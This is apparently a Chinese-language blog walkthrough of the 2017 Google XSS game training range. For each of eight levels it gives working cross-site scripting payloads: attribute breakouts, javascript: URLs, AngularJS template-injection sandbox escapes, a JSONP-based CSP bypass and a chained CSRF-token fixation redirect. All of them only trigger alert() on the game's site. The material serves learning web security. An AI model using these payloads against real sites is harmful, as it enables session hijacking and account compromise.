Google XSS game(2017)
这是新版的谷歌XSS靶场,每一关的过关条件是能够弹出alert()即可。
Level 1
基础题,直接输入基本的反射型XSS语句:
1 | <script>alert(//)</script> |
Level 2
和旧版的level 4一样,我们查看页面元素
发现我么在输入框输入的值被传递到了startTimer()
函数中,于是我们可以直接闭合掉前一个函数,另外加上alert(),并且把后面的内容注释掉即可:
1 | ');alert();// |
这里网上还有另一种解法是,先查看源码:
1 | function startTimer(seconds) { |
这里把我们输入的second做了一个**parseInt(seconds)**处理,当我们输入seconds=’-alert(1)-‘,浏览器先解释运行alert(1),然后再做了两个减法。
1 | '-alert(1)-' |
Level 3
这里和旧版的 level 5 一样,没有我们输入参数的点
- 查看源码
1 | function chooseTab(name) { |
当我们刷新页面或者改变了#
后面的内容时就会使用location.hash把URL中#
和它后面的内容作为name
,然后调用chooseTab函数,把name
作为 img 标签中 src 的一部分进行构造,最后把 img 插入到当前页面中。
这里我们可以把 src 截断,这样他的图片肯定会报错,然后添加一个 onerror 事件执行alert(),最后还要把 img 标签后面的 >
补齐
1 | ' onerror=alert()> |
Level4
这一关和旧版的level 5 基本一样,有3个页面,分别是welcome,注册和确定
查看源码
- welcome.html
1 |
|
这里可以看到,下面的a标签的链接带了一个next
参数到signup页面
- signup.html
1 |
|
signup.html 页面下面的 a 标签的链接带了一个next
参数到confirm页面
- confirm.html
1 |
|
这个页面把我们在URL中next
参数的值作为下一个跳转的地址解析出来,于是我们可以利用这个地方。实际上我们直接访问这个地址即可:
1 | http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:alert() |
Level 5
- 查看源码
1 | <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script> |
这一关终于不是旧版的题目了,angular JS 是一个前端框架,爆过模板注入漏洞。这里框架版本是1.5.8版本,这里可以找到这个框架的POC:https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
location.search 是一个可读可写的字符串,可设置或返回当前 URL 的查询部分(问号 ? 之后的部分)
1 | ?utm_term={{alert()}} |
这里明明是1.5.8的版本为什么能直接使用{{alert()}}
就可以了呢,还没学模板注入搞不懂。
Level 6
输入123查看输出点
1 | <p ng-non-bindable>Sorry, no results were found for <b>123</b>.</p> |
ng-non-bindable 指令用于告诉 AngularJS 当前的 HTML 元素或其子元素不需要编译。因此这里无法被利用。
另外一个输出点是在form表单的action,我们在URL中输入参数?query=1
会在action中显示出来。同时注意到这里使用的是1.2.0的angular框架。
angular 1.2.0 的payload是
1 | {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} |
发现左边的大括号{
被过滤了,这里使用到了 HTML实体编码(HTML Entity)
一个HTML Entity都含有2种转义格式:Entity Name 和 Entity Number
比如 {
的Entity Name是 {
Entity Number是{
把{ 替换为 {
1 | {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} |
Level 7
CSP 的实质就是白名单制度,它明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
这里设置了,只能访问两个网址:
再看网络请求有一个jsonp?menu=about请求,返回的是callback
JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里
<script>
元素标签,远程调用 JSON 文件来实现数据传递。
源码结尾引入了/static/js/level7.js,我们来看看js代码
1 | /** |
我们关注一下下面这行代码
1 | document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>'); |
因为 encodeURIComponent 的存在,我们截断 script 标签并加入 img 用 onerror 执行 alert 的方式行不通,写入的内容在转义后会被浏览器解析为一个不会被解析成 html 标签的字符串。
在早期 JSON 出现时候,大家都没有合格的编码习惯。再输出 JSON 时,没有严格定义好 Content-Type( Content-Type: application/json )然后加上 callback 这个输出点没有进行过滤直接导致了一个典型的 XSS 漏洞:
http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>
我们来试着请求一下,发现123回显到了最前面
所以我们可以构造
1 | http://www.xssgame.com/f/wmOM2q5NJnZS/jsonp?callback=alert(1)%3B%2F%2F |
- 过程
给 menu 传入经过 base64 编码后的:
1 | <script src='jsonp?callback=alert();//'></script> |
再前端会执行
1 | document.write('<script src="jsonp?menu=' + <script src='jsonp?callback=alert();//'></script> + '"></script>') |
把这个<script>
标签显示在前端,然后前端访问这个标签里面的src,返回
1 | callback({"title":"Error, no such menu: <script src='jsonp?callback=alert();//'></script>"}) |
返回的内容会执行
1 | if (data.title) document.write('<h1>' + data.title + '</h1>'); |
将返回的内容中的title部分显示出来,里面的 <script>
标签触发一个请求,script 而请求的返回内容为:
1 | alert();//'></script>({"title":"Welcome to my Website!","pictures":["const.png"]}) |
alert(); 后面被注释掉,执行 alert();
payload:
1 | http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJ0KCk7Ly8nPjwvc2NyaXB0Pg== |
Level 8
- 查看代码
1 | /** |
HTML页面的生命周期有以下三个重要事件:
DOMContentLoaded
—— 浏览器已经完全加载了 HTML,DOM 树已经构建完毕,但是像是<img>
和样式表等外部资源可能并没有下载完毕。load
—— 浏览器已经加载了所有的资源(图像,样式表等)。beforeunload/unload
—— 当用户离开页面的时候触发。每个事件都有特定的用途
DOMContentLoaded
—— DOM 加载完毕,所以 JS 可以访问所有 DOM 节点,初始化界面。load
—— 附加资源已经加载完毕,可以在此事件触发时获得图像的大小(如果没有被在 HTML/CSS 中指定)beforeunload/unload
—— 用户正在离开页面:可以询问用户是否保存了更改以及是否确定要离开页面。
尝试设置名字为123,点击Set ,有三个参数,name,value,和 redirect(跳转页面)
1 | http://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=123&redirect=index |
然后,查看cookie,显示 name=123,看来这是设置cookie的值,同时我们发现cookie有个csrf_token,同理我们应该可以这样设置csrf_token的内容
1 | set?name=csrf_token&value=token&redirect=index |
Wire transfer:
正常情况下:
1 | http://www.xssgame.com/f/d9u16LTxchEi/transfer?name=13&amount=123&csrf_token=token |
当我们输入amount
不是数字,会显示出amount的内容,我们的输出点就在amount了
如果amount的值是payload,会成功弹窗,但是他会提示其他用户打开时候的token和我们的并不一样,因此需要更进一步。
这时候我们回头整理一下,set 可以设置csrf_token,并且有个跳转参数,Wire transfer 可以执行xss攻击;那么我们就可以先在set 设置csrf_token,然后跳转到transfer执行xss攻击,这样不管是谁访问都会受到攻击。
1 | set?name=csrf_token&value=token&redirect=transfer?name=god&amount=<script>alert()</script>&csrf_token=token |
但我们要注意&符号,如果直接访问,redirect的值只有一部分:transfer?name=god
因此我们要URL编码一下:
1 | set?name=csrf_token&value=token&redirect=transfer%3Fname%3Dgod%26amount%3D%3Cscript%3Ealert()%3C%2Fscript%3E%26csrf_token%3Dtoken |
参考资料
- Post title:Google XSS game(2017)
- Post author:John_Frod
- Create time:2021-03-10 12:08:29
- Post link:https://keep.xpoet.cn/2021/03/10/Google XSS game(2017)/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.